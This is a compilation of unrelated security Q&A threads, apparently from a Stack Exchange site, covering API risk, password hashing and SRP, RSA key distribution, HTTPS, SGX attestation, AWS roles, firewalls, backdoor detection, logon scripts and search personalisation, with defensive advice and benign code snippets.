What are the risks of having an unsecured api, if there's nothing sensitive in the database? I understand that the answer is probably that ideally, I would just have a secured api, but I want to understand the threats that exist as well as the defenses. And all of the articles I've read focus primarily on "they could come in and take your data," which just isn't my problem. Say for example:

I have an api that I call from a separately hosted frontend
This client-side app is authenticated with a separate service, giving me the user's email
I use the email (or an obfuscated version of it) in a call to the api, to identify the user
The api's database only holds the obfuscated email of the user, and the words that user has learned (this is a language-learning website).

My question is, What are the risks? I understand this single question is likely too vague to be particularly helpful, or even capable of being answered, so I would like clarify what I understand might be risks.

I do not think hackers care about just raw email addresses, unconnected to other information, but this might be wrong.
I realize that in theory, somebody could do something like make a million calls to my database for fun, and -- pretend they'd learned a lot of words, or create a lot of users, but I don't think they would, realistically, since I imagine this would take some effort, for no value.
I obviously understand that if this database were to hold credit card information, or medical records or something, this would be unacceptable. But because it doesn't -- how real are the other risks?

You don't really provide information about the actual capabilities of the API, only what the database behind the API kind of contains. Your question is based on the assumption that these information are not sensitive and that there is no value in (mis)using the API outside of your application - but at the same time you are questioning these assumptions.
Looks like what is missing here is a proper risk analysis which looks at the actual details, but for this not enough information are available (and would be out of scope anyway). But lets help with getting the approach in the right direction, so you might be able to do some analysis yourself based on your deeper knowledge of the data and API.
As for nothing sensitive: Since the details of the API are not known I can only make assumption on what information it might provide. It might for example give an attacker a way to detect that someone uses your service in the first place. It might also be interesting that some users were active at specific times. And maybe also the IP address they used can be retrieved, which then can be associated with location information. And from how long they needed to learn specific words information might be gained about their state of mind at specific times. Just to illustrate some unintended side effects of collected and publicly available information read Fitness tracking app Strava gives away location of secret US army bases.
As for attacks providing no value: There might be a business model behind your application. Simply disrupting this could actually be a value for some competitor. Also, maybe your API has bugs so that it can be used to execute code on the server side and then attack other systems? Don't just assume that your API will be used the way you've intended, but imagine how it can be misused in an unintended way.


Why is security across a network "hard" to achieve? This may be a naive question. If it is, I'm fine with just a link to outside information. I studied RSA encryption about 2 years ago, but that's about it.

I'm just wondering: is it a matter of engineering or is it a fundamental problem? By the latter, I mean "will we always be forced to release information which could undermine secure communication?"

This question is posed under the assumption that it is hard to achieve. Is it?

Basically, it's hard because there are so many little things that can go wrong. Often these little things can almost completely undermine the security of a network when found and exploited. However, when designing these security systems, it's very easy to overlook a small detail that might cause a problem later. To make things even harder, attackers and constantly and actively exploring different way to break security systems, and there's a lot of financial intensive to do so.

This is why most security experts will tell you to use pre-made solutions, instead of inventing your own. Getting it right by yourself is very difficult to do, and the pre-made stuff is already somewhat "battle-tested" in the field. Note, that even when you use existing tools that are secure, you have to be careful to use them correctly or they will still be insecure (WEP is a great example of this. They took secure algorithms and implemented and combined them in incorrect ways.)


At What Point Does A Device Correspond/Link to its Owner? I am aware that governments, organizations and hackers can do a plethora of things to your device (i.e. track your location, tap calls, etc.), but I can only assume that they can only do these things if they know for sure that the device they are tracking belongs to you.

Let's say that you bought a brand new Android/iPhone and a PC/Mac. At what point is that device irrevocably linked to you as a person? When you put in a sim? If you download Instagram and log-in? Logging in to the app/play store? Adding the contacts of your family/friends? At the very moment you buy it (if you pay with card)???

For the sake of simplicity, let's assume that the people trying to link you to your device are super hi-tech government/hacker with lots of cash.

Based on the PRISM disclosures, I think you're conceiving of it backwards. Powerful governments track the services you use, not the hardware. To them, it doesn't matter what device you used, only the account activity matters. The other things you mention like credit card activation can certainly be found out by a 3-letter investigation, but they don't (afaik) pre-collect that kind of info because they don't need it and it's easy to side-step by crooks.

Only if you enter into an active investigation (as opposed to broad surveillance) will device activity be actively captured, in the present and the future. This takes a higher legal standard than mass surveillance, which looks only at things done in the recent past. Non-US countries might have different policies of course.

While we don't have full details about how they actively track, it's safe to assume they would track any devices used by the account (skype/gmail/fb/apple/etc) they identified as belonging to you. I don't think their resources are finite so they don't really need to prioritize which phone you "use most"; they just monitor all of them. Later on in court they have to sort times and devices out for a jury, but I don't think that's what you're asking about.


Solutions to diagnose PDF files for exploits? I am downloading a PDF file, and would like to know how to diagnose security vulnerabilities in that file.

Context:

The last version of Google Chrome is giving me the following warning on a PDF download:

Trying to learn more about the alert brings me to this help page, which explains that the alert can be triggered by either

  a malicious, unwanted, or uncommon file

or

  the website you tried to download the file from has been known to distribute malware.

I would like to sort out which one it is, and am therefore looking for a way to scan the PDF file for potential vulnerabilities.

My guess is that any tool that indicates the existence of executable code in the file would do, but does such a tool exist?

Related: Can a PDF file contain a virus?

peepdf and pdf-parser.py from Didier Stevens. Various online malware scanners which support PDF is good to try either.


Several hashing routines support client side work. Doesn't the hash just become a password equivalent? Isnt Secure Remote Password Protocol (SRP) pretty much client side hashing? Argon2 the winner of the PHC also allows for client side hashing. How do these systems avoid the plaintext equivalence problem?

Several questions/answers poo poo this

Client side password hashing
Should I obfuscate passwords before hashing?  Should I pre-hash them on the client?  What about salts?
https security - should password be hashed server-side or client-side?

I largely agree with these answers, but if there are major implementatoins going down this road, how are they avoiding this problem?

Argon2 - "Argon2 allows the server to carry out the majority of computational burden on
the client in case of denial-of-service attacks or other situations. The server
ultimately receives a short intermediate value, which undergoes a preimageresistant
function to produce the final tag."

https://eprint.iacr.org/2015/387.pdf (unnamed method) - "For now ignore the issue of the salt coming from the server to the client and consider how this solution satisfies the requirements above"

SRP uses something like Diffie–Hellman to avoid the problem

Both #1 (Argon2) and #2 (the unnamed pdf method) seem to suffer from pass the hash don't they?

Argon2 the winner of the PHC also allows for client side hashing.

Note that this is an additional feature, and doesn't make Argon2 to a fully fledged authentication protocol. The PHC has awarded it as password hashing algorithm, not as authentication protocol.

  Isn't Secure Remote Password Protocol (SRP) pretty much client side hashing?

For SRP, the hashing happens on the client, yes. This allows for key stretching to not happen on the server, but on the client, making it easier to protect the server from DoS attacks.

  How do these systems avoid the plaintext equivalence problem?

I guess by "plaintext equivalence problem" you mean the ability to mount replay attacks.

These are prevented in #2 by using TLS. This is actually ok, if you are targeting the web browser, because here, if MITM can modify TLS plaintext traffic, they can already get the plaintext password by changing the HTML/JS code.

SRP prevents replay attacks by server and client chosing random values (called a and b by RFC 2945) for every login session, and making the exchanged messages depend on those.


I just found out I have unknowingly been sending a password not using SSL, how likely is it that I have been compromised? I just realized that I have been connecting (sending user name and password) to my production MongoDB database for several weeks using MongoChef (a database GUI) without the SSL option enabled. I recently switched to MongoChef from a different GUI, and totally forgot to enable SSL.

I'm reasonably confident that no one on my local network was sniffing (all people I trust). I'm mostly worried about someone, somewhere on one of the ISP devices in between me and the database was listening and collecting data that could be valuable.

I'm wondering if there is anyway to quantify the risk? And is there anyway anyone can think of for me to determine if I have been compromised. If it makes any difference, the datacenter I was connecting to is in a neighboring region of the country.

Thanks

I don't think anyone is able to ultimately quantify the risk. Usually security people are trained to take a systematic approach here which will help you classify the issue:

Asset Value Estimation => as someone said above: what is in your DB? Cat photos or nuclear launch codes?
Threat Modeling => who could be interested in the data and what could they do with it? Would it be of significant monetary value to someone?
Technical Assessment => How probable is it that someone has compromised an ISP device and can sniff your data (this is probably what you are asking for, but in order to quantify your personal risk you need to take into account 1 and 2. The NSA can possibly compromise those devices but they'll just ignore your data if we're dealing with cat photos). I think it is pretty hard to compromise an internet router. Requires a lot of knowledge, criminal energy and probably money.
Are there ways to mitigate the risk => Yes, obviously. Change the password. If you use it on other sites, change it there as well.


Nginx Form-base Authentication I want to have nginx in front of my Tomcat and to act as a authentication gateway. So if request is not authenticated in will be redirected to login form that will also be stored on nginx. nginx will collect user/password from login request and pass it to RestAPI for validation.

I don't want to store login form on Tomcat and give any access to not-authenticated requests to Tomcat.

Is this setup possible? (I don't have a problem to write some code to call this RestAPI from nginx)

Thank you

It's fairly easy to route requests based on whether or not they have a particular header set. The tricky bit comes from determining whether it's set correctly.

Most web authentication goes something like this: you request a page. The application sees that you haven't sent along a session cookie, and redirects you to the login page. You login, and get a session cookie. You request the first page again, the server reads your session cookie and validates it, then sends you the page.

The tricky part for you is dealing with validation. You say you don't want any unauthenticated requests to make it to your application, but that means that not only do you need to verify that the client has sent authentication, but that it's valid. Otherwise, it's easy for an attacker to just set an arbitrary value for their authentication header and get access to your application.

Usually I'd say you should implement access controls in the application. It knows context about the various pages it serves up, and having authentication and authorization bundled directly with the app makes it harder for an attacker to bypass the auth layer. However, based on your question, I'm assuming this isn't a feasible solution for you (because it's a third-party app you can't modify, for instance).

Nginx is really good at proxying http requests. It is not particularly good at implementing application logic. I would have nginx proxy all requests to an auth application, and that application then proxies authenticated requests on to the main application. This will be much more straightforward than trying to implement auth-checking in nginx.


When should I generate new public & private keys using RSA? I'm creating a huge, online mobile game. I have a few questions for you guys because my knowledge in cryptography and sending data across the network securely is kinda poor.

Some details:

Each user has an account
To log in you have to provide your username and password (through the app, not the web browser)
The data is transferred from the client (mobile device) to the server somewhere.

Simple! Ok so as I know, normal web authentication is secured by SSL which is just "send plain, you're safe".

On mobile I can't use SSL (even if Android provides some methods, I just can't cause I'm porting my game to iOS, using different game/networking engines etc).

I have to make the "sending & receiving" process secure so a 3rd person won't catch user's credentials.

As I read, the best way to perform this is the RSA method which uses public and private keys to encrypt/decrypt packets.

From my knowledge it works like:

there are two keys, private, public and a message: "message".
anyone can get a public key (because it's public)
only the server has the access to the private key
anyone can encrypt the "message" with the public key and it will always look the same (same msg encrypted with same public key)
the encrypted message can be decrypted in only one way - using a private key and it will look like the first message: "message".
public and private keys are not equal but they use different encrypt/decrypt algorithms so it works magically that at the end the message is the same

Please, correct me if I'm wrong!

And here are my questions:

Am I right in the above example, that packets sent this way (and with public key being really public) are secured (of course anything can be decrypted) but, you know, is it "secure"?
Should each user have its own pair of keys?
When should I generate a new pair of keys? With each login?
When should I send a public key to the user? When he clicks 'register' or 'login' (with already filled textfields with the data)? Or when he opens the app?

If there is someone that could explain these things a little bit I would be grateful! :)

Two additional questions to @Luke Park

Public key is public and you said that it shouldn't be sent over the network. Does it mean that with a public key user can decrypt the data somehow?

And the second:
You said that I should bundle the public key with the application. If the public key is also a dangerous tool in a hacker's hands, is it wise to store it in code? As I know there are ways to retrieve the data from the compiled program.

And one extra!
If the key is bundled (probably hardcoded) - should it always stay the same or should I ever change the pair (generate new)? As I read somewhere, by having a public key 'public' it's possible to crack the data (it takes some time, but it's possible).

In general and with a few misunderstandings, what you said is correct.  The main difference being that the ciphertext (e.g. after you encrypt the message with the public key) does not always look the same, RSA introduces some random data and padding that cause the ciphertext produced to be different, even if the plaintext is the same.  This probably won't cause you any issues though, it contributes to security.

Personally, I think the effort involved to get TLS to work would be worth it over implementing your own solution.  However, if you do want to do it yourself...

I wouldn't generate a new keypair for each user.  A single server keypair would suffice.  Distribute the public key with your application and keep the private key on your server.  Use RSA not to encrypt your login data, but to negotiate an AES key, and then use that to encrypt your data.  This is a basic concept used by TLS.  One of the reasons this is done is because the size of the plaintext that can be encrypted by RSA is limited by the bit size of the key.  Generally more than ~240 bytes cannot be encrypted without applying RSA multiple times, which is a poor idea in terms of both speed and security.

Remember to authenticate your data properly, using HMACs or an authenticated mode like GCM.  Otherwise your payload could be modified (not read) in transit.

Don't send the public key to the app, it should be bundled with the app.  If you send the public key over your insecure channel to the app, then nothing stops it being modified in transit.  An attacker could replace it with his public key and then decrypt the traffic (and login details) with his private key.

I say again, TLS would be better and safer than implementing your own, but you seem to think this is not possible.

EDIT:
I say not to send the public key over the network not because it is "dangerous" or an asset when in the wrong hands but because you are sending the public key in plaintext (e.g. over raw HTTP or TCP).  Since anyone could modify this traffic (being able to see it is not a problem), they could replace the public key with their OWN public key before it reaches your app.  If the key is bundled with the app already, then both parties already have their keys (e.g the app with the public and server with the private).

The public key is not useful to anyone for anything other than encrypting and verifying.  It isn't something you need to hide.  You just need to be able to verify that it is the correct public key.  If you bundle this with your app then the security employed by the App Store and Play Store will be enough to get it to the users device with your app.


Is HTTPS secure enough for important information? Possible Duplicate:
  Does an established ssl connection mean a line is really secure

For example, Amazon.com doesn't use HTTPS for the whole site, but only the login page.

I know they are encrypted in some ways but I am not sure how secure are they. The account contains credit card information. Could they pass through any proxy server without problem, given that many so-called free proxy server are created by people with bad intention?

Does HTTPS imply that you message cannot be intercepted? ( With or without using any proxy server )

From my experience Amazon encrypts any page that contains confidential information and any page that is used to input confidential information from the user such as credit card information.

The answer to your question as to whether HTTPS protects information from being intercepted by third parties including proxy servers is YES it does.

HTTPS and SSL does this by using public key encryption in various ways to validate the identity of the web server that your are communicating with and to also negotiate a session encryption key that is only know to the sender and receiver.

Here's a link to a YouTube video that does a fairly good job of explaining how both identity validation and session encryption are performed by SSL.

One exception to proxy servers being able to decrypt SSL traffic is a reverse proxy used by a content delivery network such as Akamai.  CDNs such as Akamai are trusted partners for the customers they provide service to and are given SSL certificates with private keys signed by trusted Certificate Authorities that enable them to act as the web sites for which they are providing caching and acceleration services to.


How can an internet server can find my local ip address? This site shows my public IPv6, my public IPv4 and my local ip address. The first and second is clear, but how can a webservice located in the WWW determine my local ip address since a router is made to prevent such practices and is made for isolating the private home network from the global public network.

So my question is, how can a webserice located in internet determine my local ip address my computer uses to talk with others in my local private network?

As it turns out, the recent WebRTC extension of HTML5 allows javascript to query the local client IP address. A proof of concept is available here: http://net.ipcalf.com

This feature is apparently by design, and is not a bug. However, given its controversial nature, I would be cautious about relying on this behaviour. Nevertheless, I think it perfectly and appropriately addresses your intended purpose (revealing to the user what their browser is leaking).

https://webrtc.org/


Intel SGX - Remote attestation I am currently reading up on Intel's SGX, especially the remote attestation part. I am having a questions regarding this topic.
Let us consider the following protocol:
Enclave A and B do remote attestation. Each of them generates an asymmetric key pair (sk_X, pk_X). They exchange the quotes:
A -> B: QUOTE{pk_A}
B -> A: QUOTE{pk_B}

Let us consider there is a MitM attacker, who intercepts whose quotes and forwards them. Is it possible for the attacker to read out the public keys or are they somehow encrypted? I could not find proper information in the documentation.

I found the following document: intel-sgx-developer-guide

A quote includes the following data:

Measurement of the code and data in the enclave.
A hash of the public key in the ISV certificate presented at enclave initialization time.
The Product ID and the Security Version Number (SVN) of the enclave.
Attributes of the enclave, for example, whether the enclave is running in debug mode.
User data included by the enclave in the data portion of the report structure. Allows establishing a secure channel bound to the remote attestation process so a remote server may provision secrets to the entity that has been attested
A signature block over the above data, which is signed by the Intel EPID group key

It sounds like everyone would be able to read the data. In order to prevent a MitM attack, the enclaves have to verify the hash of the public key of the ISV (independent software vendor) and maybe the product ID.

The article Code Sample: Intel Software Guard Extensions Remote Attestation End-to-End Example (by John M. from Intel), describes an example of remote attestation. (The source code of most of the functions described in the article can be found here.)

Among others, the article mentions the structure of the remote attestation quote, sgx_quote_t:

  The structure of the quote is defined in sgx_quote.h:

typedef struct _quote_t
{
    uint16_t            version;        /* 0   */
    uint16_t            sign_type;      /* 2   */
    sgx_epid_group_id_t epid_group_id;  /* 4   */
    sgx_isv_svn_t       qe_svn;         /* 8   */
    sgx_isv_svn_t       pce_svn;        /* 10  */
    uint32_t            xeid;           /* 12  */
    sgx_basename_t      basename;       /* 16  */
    sgx_report_body_t   report_body;    /* 48  */
    uint32_t            signature_len;  /* 432 */
    uint8_t             signature[];    /* 436 */
} sgx_quote_t;

One of the members of the struct sgx_report_body_t (defined in sgx_report.h) is report_data, whose type is sgx_report_data_t.
report_data is the arbitrary information that an enclave can include inside its remote attestation quote. It is only 512 bits, so you would probably put there a hash of a public key (and send the public key itself alongside the quote).

Either way, if I understand correctly, report_data isn't encrypted by default.

Note that assuming the attacker cannot execute arbitrary code inside an enclave, they can't perform the classic MitM of a Diffie-Hellman key exchange (as described here), as they cannot create a quote with a valid signature.


compare sha-256 fingerpirnt of certificate with google transparency report Say that I want to check an https certificate. Suppose I know its SHA-256 fingerprint, how do I compare it to this service search tool, which apparently only gives me the serial number?

edit1: can https://crt.sh be considered at least as trusted as the service I linked above to perform such a check?


Amazon Web Services ELB has permission to change DNS records by default? I'm creating an ECS (Elastic Container Service) service on AWS. For that service, I need to supply an application load balancer. The default role for it is the following: AWSServiceRoleForECS. When I look at the policy for that role, then under Route 53, I see ChangeResourceRecordSets, which allows you to change the DNS records.

Questions:

1) Should I be worried that my application load balancer has the ability to change DNS records? Is there any way for a malicious developer inside my company to exploit this? Because for example, if your ec2 permissions are too loose, and you give a developer with otherwise limited permissions ssh access to your instance, then he can use the loose permissions of the ec2 instance to wreak havoc.

2) If there's no way to exploit loose permissions in ELB, then why have them at all? Or in other words, why would giving it admin privileges, for example, be a bad idea?

There are several roles involved in the ECS service, the one you are asking about AWSServiceRoleForECS is a specific type of IAM Role called a Service-Linked Role: https://docs.aws.amazon.com/IAM/latest/UserGuide/using-service-linked-roles.html

This type of Role allows AWS services to make changes to your account on your behalf. (By default AWS do not have permissions to make any changes to your account) To use some of their services you need to grant them permissions e.g. to modify loadbalancers to add your container services.

The key portion of the role in this case is the "Trust Relationship" which defines who is allowed to assume the role. In the case of AWSServiceRoleForECS the only trusted entity is ecs.amazonaws.com. This means that only the ECS service can access the permissions granted by the role. While this does have some risk, if you cannot trust the ECS service to make changes on your behalf then it is arguable that you should not be using such a managed service in the first place.

To answer your questions directly:

1) Your ALB does not have any permissions, this role is granted to ECS to allow it to manage ALBs for you. The only exploit that somebody within your organisation could do is via valid ECS operations that require ECS to make changes. Its unlikely there are any useful avenues here that are a worry. But you should be practising minimal permissions on ECS and all other services for your users.

2) Amazon manage the policies on service linked roles to give themselves enough permissions to do what they need, if new features were added they would update the policy. They could give all of their services admin permissions but this would be lazy and unnecessary and increase the risks in the event of both accidents (bugs) and compromises.


How does a firewall help to protect a server? Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?

A firewall allows you to limit access to ports you specify, and you can specify sources as well.  For example, you can prevent non-root users from creating services that accept connections, so an attacker can't create a new shell backdoor.  You can even limit outbound connections to reduce the possibility of reverse shells.  A not uncommon practice is to only allow SSH connections from "internal" IPs.

Security is about minimizing attack surface, and a firewall is a component in that.  Like any tool, it can be almost useless or very useful, depending on how you use it.


Direct Access to Administration Pages ,The web server or application server are configured in an insecure way Application Security Scan performed on our application using IBM's AppScan standard tool and below issue has been reported. I am a .net developer, and unaware of these security terms. Could somebody please explain me how my application is vulnerable.

It is MVC Application and the framework is .Net.

Issue reported 'Direct Access to Administration Pages ,The web server or application server are configured in an insecure way.'

Reason: AppScan requested a file which is probably not a legitimate part of the application. The response status was 200 OK. This indicates that the test succeeded in retrieving the content of the requested file.

Administrative interfaces should not be exposed to the internet where possible as whilst it is not necessary exploitable, it still gives attackers an insight into the software you are using and provides an avenue of attack for them i.e. guessing usernames and passwords in an attempt to gain access.

By the sounds of it, the scan picked up that a page (believed to be an admin interface) could successfully be visited. The best way to check whether or not this is a false positive is by visiting the link yourself, preferably from a machine/device that is not part of your work network to determine whether its available externally. If you find it is accessible, then normally it is recommended to filter access to that page either by making it accessible only from internal addresses or requiring authentication prior to accessing the login with unsuccessful attempts returning a 403/401 response.


Proxy Server options for school administrators I want to set up a proxy server for a school to prevent users to log-in to site like Facebook, Youtube, etc.

I have no idea how to do this, so I´d really appreciate your help.

It may be easier for you all to use a DNS service such as OpenDNS where you can block based on hostnames and/or web categories. This will be a lot easier to setup and maintain if you are not very familiar with IT. Here is the direct link to their web content filtering - https://www.opendns.com/web-filtering


Finding a backdoor on a server? Let's say I hire someone (freelance), for IT work on an Ubuntu server. The server has a good firewall, I run clamav, chkrootkit & rkhunter scans weekly, and I try to keep good practices.

The thing is, if I suspect that he installed some backdoor on the machine, how would you search for it? He had root access and plenty of time, so...

I know this theme has been discussed earlier, but most were theoretical rather than practical answers.

NOTE: This is on a remote server, so I'm not able to do hardware-based analysis.

To expand on @tlng05's point, rootkit authors are professionals, often with decades of experience. Unless you have decades of experience fighting rootkits, then they'll know about more hiding places than you do :P

If you suspect there's a rootkit, then your only choice is to wipe the system. This is a classic example of Ken Thompson's reflection on trusting trust "you have to trust the people, because you'll never find the exploit".

Next time, I suggest being more strict about who you give root access to.


Theory about split data in several isolated (different physical server) DBMS to gain in security? Suppose the following scenario:

1- A web app (on WEBSERVER1) and its database (on DBMS1) having very sensible information deployed in the same physical server (lets said that for simplification). Users interact with the the web app under the umbrella of specials securities measures, these security measures take in consideration the fact that web app users are few persons and that those persons have an special network location respect where the DMBS1 and WEBSERVER1 are. I said this to sentence that some of the applied security measures (applied to protect the data in the DBMS1 and access to the WEBSERVER1) just can be applied to the users that meet this conditions, lets call this set of users USERS1.

2- Other users and applications (through API exposure) need access data (CRUD) in the DBMS1 too (lets call them USERS2), but we can't applied the same securities measures to USERS2 than we applied to USERS1 due theirs physical location, amount of users and control over them. Beside, is very important that authorization be enforced to USERS2, I mean, USERS2 just can access the data of the DBMS1 they were authorized to access.

One colleague suggest increase security having a different DBMS2 and a different WEBSERVER2 deployed, isolated from the main DBMS1 and WEBSERVER1, to allow USERS2  CRUD on data. As far I can see, this imply have a mechanism to synchronize data from one DMBS to another. Firewall and credentials could be set in a way that even DBMS2 server get compromised the intruder can't violate authorization policies and write data to DBMS1. To archive this must be a map between USERS2 authorization settings (specified in DBMS1) and the data replicated-syncronized between DBMS1 and DBMS2 and the process of data replication be initiate from server group of DBMS1, having them DMBS1 server the credentials to access DMBS2 while DBMS2 server don't know nothing of how to access DBMS1.

I think that the value this kind of architecture consist in having isolated-contained whatever exploitable security hole USERS2 could found in the deploy of the DBMS and the WEBSERVER2 which they are interacting with.

I just want note that USERS2 credentials protection and security measures compliance is outside the domain of the organization that management DMBS1.

My questions are:

Exist something written about this kind of architecture?
What about tools/procedures to automatize the process of DMBS2 creations and modifications depending of authorization policies?

I would appreciate any help or orientation, critics about this architecture.

I'm including a diagram to support the explanation, arrow direction just matter regard of who initiate the communication... I know I know, the graphic is terrible, but I hope add some information.

EDIT:
Is evident the parallel of this DBMS-Web_Server architecture with the a DZM Dual firewall

I am having a hard time understanding your question, but let me attempt an answer.  It sounds like you have two groups of users:

Internal Web App Users
External API users

It also sounds like these users need different levels of access to the same database.

If the above is true then I would suggest the following structure:

Web server hosting the web app and the API.  Accessible to the outside world, with the web app restricted to certain people.
Database server that is only accessible by the web server.  Internal users, external users etc cannot access directly.  Everything must flow through the web server.

In the database being access setup two schemas:

everyone
internal

So now your database might have 4 tables that look like this:

internal.SuperSecretTable
internal.DarkCompanySecrets
external.WhoCares
external.HaveAtIt

There are also two users roles:
 - employee
 - apiUser

The employee role would have access to both the internal and external schemas, while the apiUser role would only have access to the external schema.  Give these roles the bare minimum permissions they need in order to function.

Hope this helps!


Can screen blue light filter applications on android steal passwords?Do these filter apps see everything that I type? I have seen that android does not allow installation of any apk when screen filters are enabled.Do they cause any security risks?

The problem is with the DRAW OVER APPS permission. Android will not let you change any system level changes or install anything while an app is overlaying your screen. The reasoning being since the app can hide a malicious request and have the button pressed under it. Be very wary of any app that requests this permission and make sure you truly trust the developer.
Check out this link for more details on tapjacking. XDA Developers - Tapjacking


What are the risks of having a port forward through a NAT gateway to an unused IP? I'm trying to determine if having a port forward on my NAT gateway to an unused IP address exposes me to any security risks. Obviously if a device ends up at the IP address then there is a potential for intrusion from the internet, but are there any way that a port forward can be exploited if the destination IP is not used?

Is there anyway (short of a vunerability in the NAT gateway) that an un-used port forward like this could present an opening to an attacker?

For context, I currently run an Open VPN server with associated port forward to allow me remote access to my home network. I'm trying to setup a system to remote bootstrap the VPN in the case where the VPN server has shutdown. I can setup my router to regularly send a wake-on-LAN packet to reboot the services if it shuts down. The main challenge being that I need someway to remotely enter the disk encryption password to allow my server to boot.

So I'm considering using dropbear in initramfs to exposes an SSH server on a normally unused IP address that I can log into specifically to decrypt the disk.

For this to work, I'd have to open a port forward to the SSH server. This setup would mean that during this reboot an attacker could potentially access the SSH server, but would it present any security risk when the VPN server is up and running (on a different IP) so that the forward goes to an unused IP?

I don't see any risks while the VPN server is running, if as you say, you can be sure that there's nothing at the other end of that port-forward.

I'm not sure I understand your wake-on-LAN setup with dropbear - but it appears that your server might have an exposed SSH for long periods of time - which could have other risks - such as variants of the BothanSpy / Gryfalcon.


How to encrypt files on my SD card and still be able to access them on my phone seamlessly? I'm looking for a way to encrypt files on my SD card in a way that I could still access them on my phone without huge delays if the file is big (100mb).

Is there such a way to do it? I'm using Android and Windows, though I could get around installing Linux for encryption if necessary (not gonna start using it though).

Notes:

I expect 3rd party apps to seamlessly access these files on the phone; at least a video player, photo and text viewer and file browser.
I don't care if it's the whole SD card encrypted or just the files, however I want every single file that I placed myself on the SD card encrypted.
I do not mind installing any applications on any of my devices to be able to use the SD card.

I don't think there is any method of encrypting an SD card's contents that would make that SD card viewable on an out-of-the-box Android and Windows installation.

Android doesn't officially support any encryption method on SD cards, but some manufacturers have built in their own encryption scheme for file-based encryption on SD cards.  Encrypting your SD card contents such a scheme will render it unreadable on Windows, however.  Also, it will probably also be unreadable even on another phone of the same model due to the key being tied to the phone.

Windows supports encryption in NTFS in some circumstances but an Android phone won't be able to read that.


Is browser memory cache considered as security issue? Came across an application that uses below header to prevent caching.

cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
Expires: 0
Pragma: no-cache

As per standards, with this HTTP headers data should not be cached.
When I checked in Firefox with about:cache in address bar, I found data cached in browser memory. However it was not cached in disk.

So can this be treated as security issue? If yes, what is the mitigation for preventing data to be cached in browser memory? Can this be mitigated using Cache-control: Private?

It is really dificult to prevent a browser from caching anything at all. Even in private mode a browser uses caches, local databases and files on disk to speedup requests. All private mode does is promise it will be gone at the end of the session.

When you open developer tools and disable caching, it does not disable all caches either (AngularJS is known to cache problems).


Preferred UAC configuration in Enterprises that use Login scripts to map drives? In Windows 7, Vista and newer OS's, UAC will prevent logon scripts from mapping hard drives so that the following logon script code won't work:

Dim WshNetwork
Set WshNetwork = WScript.CreateObject("WScript.Network")

WshNetwork.MapNetworkDrive "g:", "\\\Saturn\data\"
WshNetwork.MapNetworkDrive "k:", "\\\Saturn\stuff\"

Administrators have a few choices when dealing with this issue:

Disable UAC
Microsoft's launchapp.wsf
Linked Connections
Group Policy Preferences
???

What approach is the most practical and supportable approach to making login scripts "just work" in Enterprise environments?

If the "most preferred" solution isn't the one enterprises are doing in the real world, what approach are they taking?

Use Powershell and set your execution mode to allsigned.  It's the best of the worst options for powershell execution methods, issue a code signing cert from your internal CA and sign your login scripts.

(new-object -com WScript.Network).MapNetworkDrive("g:","\\Saturn\data")
(new-object -com WScript.Network).MapNetworkDrive("k:","\\Saturn\stuff")

Powershell defaults to executing asInvoker, so unless I'm mistaken that should run sans UAC prompt.


How to minimise personalised result skewing in search engines? Quite often I see comments on this SE network in the form of:

  Given that this question is now the top Google hit…

But sometimes that was a statement I couldn't confirm to be true.

Recently I saw the exact thing happening to me:

Googled a phrase, found an SE post at the top spot, told someone via phone about and they denied it to be true.

So I launched another browser to check whether it was a case of cookie bubble and indeed that SE post was now on page 4 of results. On the same network, same computer, same session.

Since I quite regularly clean out all cookies on my main browser and discard them on quit in all others:

What exactly is it that distorts the Google results in SE's favour? Searching for answers via that search engine itself might indicate that I do not know the correct terms for this problems to yield something useful in the hits. But I suspect that it might be along the lines of SE-cookies, SE sharing data with Google, Google-cookies/search history, something else?

Naturally, this is a "service" that I do not want, for many reasons. Increased privacy, more unbiased search results etc. The SE-story is mainly just an example that users here might replicate easily.

So, how can that automatic, personalised result skewing be avoided, while still using Google?

What exactly is it that distorts the Google results in SE's favour?

There are 50+ factors (called 'signals' by Google) used to determine search results. Beside specific search queries, it's really hard to have identical sorting with everyone. As reference, the top factors in personalizing search results are:

Location
Search History
Web History
Social Networks

(source)

You can also have a look at the paper "Asymptotic Analysis for Personalized Web Search", here.

  So, how can that automatic, personalised result skewing be avoided?

Change your Google Search settings:

You need to be signed-in to your Google account to disable personal results.

Turn off personal search:
To see general results on a specific search, after the search just click the globe near the upper right corner of the search results page. This will hide personal results.

Turn off personal search for all searches:

Go to Google search and click on the gear icon in the upper right corner and click "Search settings." You need to be signed-in to your Google account to make any changes.
Scroll down to the section marked "Personal results" and click on "Do not use personal results."
Scroll to the bottom of the page and click Save.

Also, the pws=0 parameter:
By adding it to the end of a Google query URL &pws=0, you can theoretically remove history-based personalization.
eg. https://www.google.com/?q=secinfo&pws=0

How to avoid personalized results:

As far as we know, Google is using a super set of factors to personalize you, but the followings solutions probably is a good start:

Anonymity Networks / VPN:
As pointed out by @forest, using Google's search engine within an Anonymity Network (such as Tor) will provide -to a certain extent- non-personalized results. The data will still be localized by the approximate geolocation of exit-node's IP address.
Using Tails:
An anonymous operating systems, such as Tails, are designed to be used from USB stick or DVD independently of the computer's original OS. A clean OS that all connections to the Internet are forced to go through Tor, would eliminate -still, mostly of- the factors that personalize you.

Also, it's interesting to read Google's public Search Liaison's tweets about this topic (discussion):

    FYI, personalization of results is very light. Most people searching in the same language and same location will see largely the same things. Location and language are far more influential about why results differ.

  — (@dannysullivan) May 15, 2018

    Our personalization of results is far, far less than commonly assumed, so it's not surprising.

  — (@dannysullivan) August 21, 2018


Is it safe to store important data in an encrypted access token? Is it safe to store important data in an encrypted access token? For example, instead of storing access tokens in a database, not storing them at all and putting their associated data into them before encryption.

As in. I'm setting up an Oauth authentication server. I create an access token by wrapping together the timestamp of the token, the IP address of the request for the token, the principal used for the request, and maybe some other data, as a String. Then I encode the String in Base64, and run it through strong encryption.

When the token is submitted, I use my key to decrypt it, decode it from Base64, and read the data it contains. If I'm able to read it, it can't have been tampered with, right?

Is the only reason to store access tokens and the user they were issued to in a database table a lack of faith in the strong encryption?

It depends on whether the encryption mechanism you're using provides confidentiality (like AES in bare CBC mode) or or confidentiality and integrity *like AES in CBC mode with an HMAC, or AES-GCM)

Just because your data is encrypted doesn't mean that it can't be tampered with in a way that you can't detect.   It must be both encrypted and authenticated, and the authentication is done with a MAC, or message authentication code.

